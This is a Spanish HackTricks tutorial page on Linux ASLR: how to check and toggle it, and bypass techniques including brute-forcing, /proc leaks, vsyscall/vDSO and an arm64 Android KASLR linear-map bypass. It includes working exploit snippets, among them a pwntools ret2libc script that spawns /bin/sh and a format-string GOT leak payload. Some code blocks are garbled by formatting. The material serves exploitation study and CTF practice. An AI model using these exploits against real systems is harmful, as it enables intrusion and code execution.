ASLR
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Información básica
Address Space Layout Randomization (ASLR) es una técnica de seguridad utilizada en los sistemas operativos para aleatorizar las direcciones de memoria usadas por los procesos del sistema y las aplicaciones. Al hacerlo, dificulta significativamente que un atacante prediga la ubicación de procesos y datos específicos, como el stack, heap y libraries, mitigando así ciertos tipos de exploits, en particular los buffer overflows.
Comprobación del estado de ASLR
Para comprobar el estado de ASLR en un sistema Linux, puedes leer el valor del archivo /proc/sys/kernel/randomize_va_space. El valor almacenado en este archivo determina el tipo de ASLR que se está aplicando:
- 0: Sin aleatorización. Todo es estático.
- 1: Aleatorización conservadora. Shared libraries, stack, mmap(), VDSO page son aleatorizados.
- 2: Aleatorización completa. Además de los elementos aleatorizados por la aleatorización conservadora, la memoria gestionada a través de
brk()se aleatoriza.
Puedes comprobar el estado de ASLR con el siguiente comando:
cat /proc/sys/kernel/randomize_va_space
Deshabilitar ASLR
Para deshabilitar ASLR, debes establecer el valor de /proc/sys/kernel/randomize_va_space a 0. Deshabilitar ASLR generalmente no se recomienda fuera de escenarios de pruebas o depuración. Aquí se muestra cómo puedes desactivarlo:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
También puedes desactivar ASLR para una ejecución con:
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
Habilitar ASLR
Para habilitar ASLR, puedes escribir el valor 2 en el archivo /proc/sys/kernel/randomize_va_space. Esto normalmente requiere privilegios de root. Puedes habilitar la randomización completa con el siguiente comando:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
Persistencia entre reinicios
Los cambios realizados con los comandos echo son temporales y se restablecerán al reiniciar. Para que el cambio sea persistente, necesitas editar el archivo /etc/sysctl.conf y añadir o modificar la siguiente línea:
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
Después de editar /etc/sysctl.conf, aplica los cambios con:
sudo sysctl -p
Esto asegurará que tu configuración de ASLR permanezca tras reinicios.
Bypasses
32bit brute-forcing
PaX divide el espacio de direcciones del proceso en 3 grupos:
- Code and data (initialized and uninitialized):
.text,.data, and.bss—> 16 bits de entropía en la variabledelta_exec. Esta variable se inicializa aleatoriamente con cada proceso y se suma a las direcciones iniciales. - Memory allocated by
mmap()and shared libraries —> 16 bits, llamadadelta_mmap. - The stack —> 24 bits, referida como
delta_stack. Sin embargo, efectivamente usa 11 bits (desde el 10º hasta el 20º byte inclusive), alineada a 16 bytes —> Esto resulta en 524,288 posibles direcciones reales de la pila.
Los datos anteriores son para sistemas de 32 bits y la entropía final reducida hace posible eludir ASLR intentando la ejecución una y otra vez hasta que el exploit se complete con éxito.
Brute-force ideas:
- Si tienes un overflow lo bastante grande para alojar un gran NOP sled antes del shellcode, podrías simplemente brute-force direcciones en la pila hasta que el flujo salte sobre alguna parte del NOP sled.
- Otra opción, en caso de que el overflow no sea tan grande y el exploit pueda ejecutarse localmente, es posible agregar el NOP sled y el shellcode en una variable de entorno.
- Si el exploit es local, puedes intentar brute-force la dirección base de libc (útil para sistemas 32bit):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- Si atacas un servidor remoto, podrías intentar brute-force the address of the
libcfunctionusleep, pasando como argumento 10 (por ejemplo). Si en algún momento el servidor tarda 10s adicionales en responder, habrás encontrado la dirección de esta función.
Tip
En sistemas de 64 bits la entropía es mucho mayor y esto no debería ser posible.
Brute-forcing del stack en 64 bits
Es posible ocupar gran parte del stack con env variables y luego intentar abusar del binary cientos/miles de veces localmente para explotarlo.
El siguiente código muestra cómo es posible simplemente seleccionar una dirección en el stack y cada varias centenas de ejecuciones esa dirección contendrá la NOP instruction:
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
Detección de stack NOP brute-force con Python
```python import subprocess import tracebackStart the process
nop = b“\xD5\x1F\x20\x03“ # ARM64 NOP transposed n_nops = int(128000/4) shellcode_env_var = nop * n_nops
Define the environment variables you want to set
env_vars = { ‘a’: shellcode_env_var, ‘b’: shellcode_env_var, ‘c’: shellcode_env_var, ‘d’: shellcode_env_var, ‘e’: shellcode_env_var, ‘f’: shellcode_env_var, ‘g’: shellcode_env_var, ‘h’: shellcode_env_var, ‘i’: shellcode_env_var, ‘j’: shellcode_env_var, ‘k’: shellcode_env_var, ‘l’: shellcode_env_var, ‘m’: shellcode_env_var, ‘n’: shellcode_env_var, ‘o’: shellcode_env_var, ‘p’: shellcode_env_var, }
cont = 0 while True: cont += 1
if cont % 10000 == 0: break
print(cont, end=“\r”)
Define the path to your binary
binary_path = ‘./aslr-testing’
try: process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) output = process.communicate()[0] if “0xd5” in str(output): print(str(cont) + “ -> “ + output) except Exception as e: print(e) print(traceback.format_exc()) pass
</details>
<figure><img src="../../../images/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>
### Información local (`/proc/[pid]/stat`)
El archivo **`/proc/[pid]/stat`** de un proceso siempre es legible por todos y **contiene información interesante** como:
- **startcode** & **endcode**: Direcciones por encima y por debajo con el **TEXT** del binary
- **startstack**: La dirección del inicio del **stack**
- **start_data** & **end_data**: Direcciones por encima y por debajo donde está la **BSS**
- **kstkesp** & **kstkeip**: Direcciones actuales de **ESP** y **EIP**
- **arg_start** & **arg_end**: Direcciones por encima y por debajo donde están los **cli arguments**.
- **env_start** &**env_end**: Direcciones por encima y por debajo donde están las **env variables**.
Por lo tanto, si el atacante está en la misma máquina que el binary que se está explotando y ese binary no espera el overflow desde raw arguments, sino desde una diferente **input que puede ser crafted tras leer este archivo**, es posible que un atacante **obtenga algunas addresses de este archivo y construya offsets a partir de ellas para el exploit**.
> [!TIP]
> Para más información sobre este archivo consulta [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) buscando `/proc/pid/stat`
### Having a leak
- **The challenge is giving a leak**
Si se te da un leak (easy CTF challenges), puedes calcular offsets a partir de él (suponiendo, por ejemplo, que conoces la versión exacta de libc que usa el sistema que estás explotando). This example exploit is extract from the [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (check that page for more details):
<details>
<summary>Python exploit with given libc leak</summary>
```python
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
- ret2plt
Abusando de un buffer overflow sería posible explotar un ret2plt para exfiltrar la dirección de una función de la libc. Revisa:
- Format Strings Arbitrary Read
Al igual que en ret2plt, si tienes un arbitrary read vía una format strings vulnerability, es posible exfiltrar la dirección de una libc function desde la GOT. El siguiente example is from here:
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
payload += b'%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
You can find more info about Format Strings arbitrary read in:
Ret2ret & Ret2pop
Intenta eludir ASLR abusando de direcciones dentro del stack:
vsyscall
El mecanismo vsyscall sirve para mejorar el rendimiento permitiendo que ciertas llamadas al sistema se ejecuten en espacio de usuario, aunque en el fondo forman parte del kernel. La ventaja crítica de las vsyscalls radica en sus direcciones fijas, que no están sujetas a ASLR (Address Space Layout Randomization). Esta naturaleza fija significa que los atacantes no requieren una vulnerabilidad de information leak para determinar sus direcciones y usarlas en un exploit.
Sin embargo, no se encontrarán gadgets muy interesantes aquí (aunque, por ejemplo, es posible obtener un equivalente a ret;)
(El siguiente ejemplo y código es from this writeup)
Por ejemplo, un atacante podría usar la dirección 0xffffffffff600800 en un exploit. Intentar saltar directamente a una instrucción ret podría provocar inestabilidad o crashes tras ejecutar un par de gadgets; sin embargo, saltar al inicio de un syscall provisto por la sección vsyscall puede resultar exitoso. Colocando cuidadosamente un gadget ROP que redirija la ejecución a esta dirección vsyscall, un atacante puede conseguir ejecución de código sin necesitar eludir ASLR para esta parte del exploit.
Ejemplo vmmap/vsyscall y búsqueda de gadgets
```text ef➤ vmmap Start End Offset Perm Path 0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap] 0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000000000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw- 0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar] 0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso] 0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] gef➤ x.g0xffffffffff601000 0x0000000000000000 r-x [vsyscall] A syntax error in expression, near `.g0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'. gef➤ x/8g 0xffffffffff600000 0xffffffffff600000: 0xf00000060c0c748 0xccccccccccccc305 0xffffffffff600010: 0xcccccccccccccccc 0xcccccccccccccccc 0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc 0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc gef➤ x/4i 0xffffffffff600800 0xffffffffff600800: mov rax,0x135 0xffffffffff600807: syscall 0xffffffffff600809: ret 0xffffffffff60080a: int3 gef➤ x/4i 0xffffffffff600800 0xffffffffff600800: mov rax,0x135 0xffffffffff600807: syscall 0xffffffffff600809: ret 0xffffffffff60080a: int3 ```vDSO
Observa por tanto cómo podría ser posible bypass ASLR abusing the vdso si el kernel está compilado con CONFIG_COMPAT_VDSO, ya que la dirección del vdso no se aleatorizará. Para más información consulta:
KASLR en ARM64 (Android): bypass via fixed linear map
En muchos kernels arm64 de Android la base del kernel linear map (direct map) está fija entre reinicios. Las Kernel VAs para páginas físicas se vuelven predecibles, rompiendo KASLR para objetivos alcanzables a través del direct map.
- For CONFIG_ARM64_VA_BITS=39 (4 KiB pages, 3-level paging):
- PAGE_OFFSET = 0xffffff8000000000
- PHYS_OFFSET = memstart_addr (exported symbol)
- Translation:
virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET)
Leaking PHYS_OFFSET (rooted or with a kernel read primitive)
grep memstart /proc/kallsymspara encontrarmemstart_addr- Lee 8 bytes en esa dirección (LE) usando cualquier kernel read (p. ej., tracing-BPF helper que llama a
BPF_FUNC_probe_read_kernel) - Calcula las VAs del direct map:
virt = ((phys - PHYS_OFFSET) | 0xffffff8000000000)
Impacto en la explotación
- No se necesita un KASLR leak separado si el objetivo está en/alcanzable a través del direct map (p. ej., page tables, kernel objects en páginas físicas que puedes influenciar/observar).
- Simplifica lograr R/W arbitrario fiable y el direccionamiento de kernel data en arm64 Android.
Resumen de reproducción
grep memstart /proc/kallsyms-> dirección dememstart_addr- Kernel read -> decodifica 8 bytes LE ->
PHYS_OFFSET - Usa
virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET)conPAGE_OFFSET=0xffffff8000000000
Note
El acceso a tracing-BPF helpers requiere privilegios suficientes; cualquier kernel read primitive o info leak basta para obtener
PHYS_OFFSET.
Cómo se solucionó
- El espacio limitado de kernel VA junto con CONFIG_MEMORY_HOTPLUG reserva VA para futuros hotplug, empujando el linear map hacia la VA más baja (base fija).
- En upstream arm64 se eliminó la randomización del linear-map (commit
1db780bafa4c).
References
- Defeating KASLR by Doing Nothing at All (Project Zero)
- arm64: remove linear map randomization (commit 1db780bafa4c)
- Tracing BPF arbitrary read helper (Project Zero issue 434208461)
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks

